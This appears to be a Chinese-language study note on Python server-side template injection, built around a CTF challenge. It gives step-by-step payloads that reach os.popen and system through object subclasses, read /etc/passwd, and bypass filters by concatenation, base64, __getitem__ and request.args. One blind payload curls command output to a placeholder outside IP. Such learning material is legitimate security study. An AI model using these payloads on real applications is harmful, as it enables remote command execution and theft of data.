关于SSTI的学习

摸了。

注入指令构造

Python中的每一个对象都有一个__class__属性可以获取到它自己所对应的类,比如一个空字符串''

1
2
''.__class__
# <class 'str'>

然后在类对象中有一个__mro__属性,它返回一个tuple元组,这个对象包含了当前类对象所有继承的基类。

1
2
''.__class__.__mro__
# (<class 'str'>, <class 'object'>)

还有一个有些相似的__base__属性,返回当前类对象所继承的基类。

1
2
''.__class__.__base__
# <class 'object'>

__subclasses__()这个方法返回了类的所有存活的子类,如下列代码所示,object是所有类的父类,因此由object返回的会是最全的子类。

1
2
''.__class__.__base__.__subclasses__()
# [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ..., <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'rlcompleter.Completer'>]

这边需要配合例题了,攻防世界—Web_python_template_injection。

在Python中的命令执行一般是通过os模块中的system函数来达成,因此需要获取所有子类后遍历来找到os相关的模块,比如site._Printer和site.Quitter。

1
2
for i in enumerate(''.__class__.__bases__[0].__subclasses__()):
print(i)

得知在第71个,因此可以这样获取到它。

1
''.__class__.__mro__[2].__subclasses__()[71]

然后对其进行初始化,把类转为实例。

1
''.__class__.__mro__[2].__subclasses__()[71].__init__

进而用__globals__获取到os模块。

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']

打开通道传入命令。

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls')

最后读取命令返回的结果。

1
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

也可以不用通道,直接调用system命令。

1
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')

一共有这些类是可以进行命令执行的。

1
2
3
4
5
6
7
8
9
10
11
12
(59, <class 'warnings.WarningMessage'>, '__builtins__')
(59, <class 'warnings.WarningMessage'>, 'linechache')
(60, <class 'warnings.catch_warnings'>, '__builtins__')
(60, <class 'warnings.catch_warnings'>, 'linechache')
(61, <class '_weakrefset._IterationGuard'>, '__builtins__')
(62, <class '_weakrefset.WeakSet'>, '__builtins__')
(72, <class 'site._Printer'>, '__builtins__')
(72, <class 'site._Printer'>, 'os')
(77, <class 'site.Quitter'>, '__builtins__')
(77, <class 'site.Quitter'>, 'os')
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__')

还可以通过file模块,来进行任意文件读取。

1
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()

常用的模板引擎:SmartyMakoJinja2JadeVelocityFreemakerTwig

常见的判断手法:

image-20220223141713769

一些绕过

拼接

1
2
3
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码

1
2
3
# ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))

过滤中括号[]

__getitem__
1
2
# "".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
pop()
1
"".__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
字典读取
1
2
__builtins__['eval']()
__builtins__.eval()

过滤双下划线__

1
2
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}